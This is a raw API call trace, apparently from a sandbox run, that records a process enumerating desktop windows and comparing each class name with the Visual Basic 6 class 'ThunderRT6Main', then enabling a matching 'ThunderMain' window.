[0099.732] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.732] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100da
[0099.732] GetClassNameA (in: hWnd=0x100da, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.732] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x100da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x73c
[0099.732] GetWindow (hWnd=0x100da, uCmd=0x2) returned 0x100c0
[0099.732] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.732] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x100c0, uCmd=0x2) returned 0x100bc
[0099.733] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
[0099.733] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x100bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x100bc, uCmd=0x2) returned 0x100b0
[0099.733] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
[0099.733] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x100a6
[0099.733] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.733] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x100a0
[0099.733] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.733] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x100a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x100a0, uCmd=0x2) returned 0x2009a
[0099.733] GetClassNameA (in: hWnd=0x2009a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.733] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x2009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x2009a, uCmd=0x2) returned 0x10082
[0099.733] GetClassNameA (in: hWnd=0x10082, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
[0099.733] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x50076
[0099.733] GetClassNameA (in: hWnd=0x50076, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
[0099.733] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x50076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x50076, uCmd=0x2) returned 0x1006c
[0099.733] GetClassNameA (in: hWnd=0x1006c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.733] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x1006c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c
[0099.733] GetWindow (hWnd=0x1006c, uCmd=0x2) returned 0x1006a
[0099.733] GetClassNameA (in: hWnd=0x1006a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.733] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x1006a, uCmd=0x2) returned 0x10062
[0099.733] GetClassNameA (in: hWnd=0x10062, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.733] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.733] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.733] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050
[0099.733] GetClassNameA (in: hWnd=0x10050, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0099.734] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.734] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10102
[0099.734] GetClassNameA (in: hWnd=0x10102, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
[0099.734] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500
[0099.734] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x10104
[0099.734] GetClassNameA (in: hWnd=0x10104, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500
[0099.734] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f6
[0099.734] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
[0099.734] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b4
[0099.734] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x100f8
[0099.734] GetClassNameA (in: hWnd=0x100f8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b4
[0099.734] GetWindow (hWnd=0x100f8, uCmd=0x2) returned 0x100f0
[0099.734] GetClassNameA (in: hWnd=0x100f0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="#43") returned 3
[0099.734] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c
[0099.734] GetWindow (hWnd=0x100f0, uCmd=0x2) returned 0x100f2
[0099.734] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c
[0099.734] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x1004c
[0099.734] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
[0099.734] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.734] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10038
[0099.734] GetClassNameA (in: hWnd=0x10038, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
[0099.734] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x10038, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0099.734] GetWindow (hWnd=0x10038, uCmd=0x2) returned 0x10030
[0099.734] GetClassNameA (in: hWnd=0x10030, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
[0099.734] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x10030, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.734] GetWindow (hWnd=0x10030, uCmd=0x2) returned 0x2002c
[0099.734] GetClassNameA (in: hWnd=0x2002c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
[0099.734] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
[0099.734] GetWindowThreadProcessId (in: hWnd=0x2002c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.735] GetWindow (hWnd=0x2002c, uCmd=0x2) returned 0x20026
[0099.735] GetClassNameA (in: hWnd=0x20026, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
[0099.735] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x20026, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x580
[0099.735] GetWindow (hWnd=0x20026, uCmd=0x2) returned 0x1002a
[0099.735] GetClassNameA (in: hWnd=0x1002a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Dwm") returned 3
[0099.735] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x1002a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8
[0099.735] GetWindow (hWnd=0x1002a, uCmd=0x2) returned 0x20028
[0099.735] GetClassNameA (in: hWnd=0x20028, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x580
[0099.735] GetWindow (hWnd=0x20028, uCmd=0x2) returned 0x100ee
[0099.735] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x16c
[0099.735] GetWindow (hWnd=0x100ee, uCmd=0x2) returned 0x100ec
[0099.735] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
[0099.735] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x16c
[0099.735] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x120192
[0099.735] GetClassNameA (in: hWnd=0x120192, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.735] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x120192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.735] GetWindow (hWnd=0x120192, uCmd=0x2) returned 0x100ca
[0099.735] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Progman") returned 7
[0099.735] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
[0099.735] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.735] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x0
[0099.735] CRetailMalloc_Alloc () returned 0x5717cb8
[0099.735] CRetailMalloc_Free () returned 0x84b0001
[0100.200] GetCurrentThreadId () returned 0x9fc
[0100.200] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
[0100.200] GetDesktopWindow () returned 0x10010
[0100.200] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x1003e
[0100.200] GetClassNameA (in: hWnd=0x1003e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0100.200] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x1003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x1003e, uCmd=0x2) returned 0x1003a
[0100.200] GetClassNameA (in: hWnd=0x1003a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x1003a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x1003a, uCmd=0x2) returned 0x1005e
[0100.200] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c
[0100.200] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x10048
[0100.200] GetClassNameA (in: hWnd=0x10048, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10072
[0100.200] GetClassNameA (in: hWnd=0x10072, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10066
[0100.200] GetClassNameA (in: hWnd=0x10066, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x10066, uCmd=0x2) returned 0x10064
[0100.200] GetClassNameA (in: hWnd=0x10064, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.200] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.200] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.200] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10060
[0100.200] GetClassNameA (in: hWnd=0x10060, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10040
[0100.201] GetClassNameA (in: hWnd=0x10040, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Button") returned 6
[0100.201] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x1003c
[0100.201] GetClassNameA (in: hWnd=0x1003c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
[0100.201] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x1003c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x1003c, uCmd=0x2) returned 0x1011a
[0100.201] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ATL:73178158") returned 12
[0100.201] lstrcmpA (lpString1="ATL:73178158", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0100.201] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10114
[0100.201] GetClassNameA (in: hWnd=0x10114, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
[0100.201] GetWindow (hWnd=0x10114, uCmd=0x2) returned 0x10112
[0100.201] GetClassNameA (in: hWnd=0x10112, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
[0100.201] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
[0100.201] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x100d2
[0100.201] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.201] GetWindow (hWnd=0x100d2, uCmd=0x2) returned 0x100c6
[0100.201] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x100c6, uCmd=0x2) returned 0x100b6
[0100.201] GetClassNameA (in: hWnd=0x100b6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x100b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x100b6, uCmd=0x2) returned 0x1008e
[0100.201] GetClassNameA (in: hWnd=0x1008e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x1008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x1008e, uCmd=0x2) returned 0x5007c
[0100.201] GetClassNameA (in: hWnd=0x5007c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.201] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x5007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x5007c, uCmd=0x2) returned 0x10074
[0100.201] GetClassNameA (in: hWnd=0x10074, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
[0100.201] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
[0100.201] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.201] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10086
[0100.202] GetClassNameA (in: hWnd=0x10086, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
[0100.202] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.202] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x101d8
[0100.202] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0100.202] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.202] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -1946157056
[0100.202] GetWindowLongA (hWnd=0x101d8, nIndex=-6) returned 0
[0100.202] GetWindowLongA (hWnd=0x101d8, nIndex=-6) returned 0
[0100.202] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101aa
[0100.202] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.202] GetWindowLongA (hWnd=0x101aa, nIndex=-16) returned -1946157056
[0100.202] GetWindowLongA (hWnd=0x101aa, nIndex=-6) returned 19791872
[0100.202] GetWindowLongA (hWnd=0x101aa, nIndex=-6) returned 19791872
[0100.202] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x301a0
[0100.202] GetClassNameA (in: hWnd=0x301a0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OpusApp") returned 7
[0100.202] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x301a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.202] GetWindowLongA (hWnd=0x301a0, nIndex=-16) returned 919535616
[0100.202] GetWindowLongA (hWnd=0x301a0, nIndex=-6) returned 1764163584
[0100.202] GetWindowLongA (hWnd=0x301a0, nIndex=-6) returned 1764163584
[0100.202] GetWindow (hWnd=0x301a0, uCmd=0x2) returned 0x1018c
[0100.202] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x904
[0100.202] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018a
[0100.202] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="cuisinePrograms") returned 15
[0100.202] lstrcmpA (lpString1="cuisinePrograms", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x904
[0100.202] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x100e6
[0100.202] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0100.202] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.202] GetWindow (hWnd=0x100e6, uCmd=0x2) returned 0x1002e
[0100.202] GetClassNameA (in: hWnd=0x1002e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x1002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.202] GetWindow (hWnd=0x1002e, uCmd=0x2) returned 0x20198
[0100.202] GetClassNameA (in: hWnd=0x20198, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OpusApp") returned 7
[0100.202] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x20198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.202] GetWindowLongA (hWnd=0x20198, nIndex=-16) returned 131006464
[0100.202] GetWindowLongA (hWnd=0x20198, nIndex=-6) returned 1764163584
[0100.202] GetWindowLongA (hWnd=0x20198, nIndex=-6) returned 1764163584
[0100.202] GetWindow (hWnd=0x20198, uCmd=0x2) returned 0x20194
[0100.202] GetClassNameA (in: hWnd=0x20194, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
[0100.202] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
[0100.202] GetWindowThreadProcessId (in: hWnd=0x20194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.202] GetWindowLongA (hWnd=0x20194, nIndex=-16) returned -1946157056
[0100.202] GetWindowLongA (hWnd=0x20194, nIndex=-6) returned 1918304256
[0100.202] IsWindowEnabled (hWnd=0x20194) returned 0
[0100.202] GetPropA (hWnd=0x20194, lpString=0xc13b) returned 0x1
[0100.203] RemovePropA (hWnd=0x20194, lpString=0xc13b) returned 0x1
[0100.203] EnableWindow (hWnd=0x20194, bEnable=1) returned 1
[0100.203] DefWindowProcA (hWnd=0x20194, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0
[0100.203] GetWindow (hWnd=0x20194, uCmd=0x2) returned 0x201c8
[0100.203] GetClassNameA (in: hWnd=0x201c8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
[0100.203] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x201c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.203] GetWindowLongA (hWnd=0x201c8, nIndex=-16) returned -2080374784
[0100.203] GetWindowLongA (hWnd=0x201c8, nIndex=-6) returned 1745813504
[0100.203] GetWindowLongA (hWnd=0x201c8, nIndex=-6) returned 1745813504
[0100.203] GetWindow (hWnd=0x201c8, uCmd=0x2) returned 0x201a4
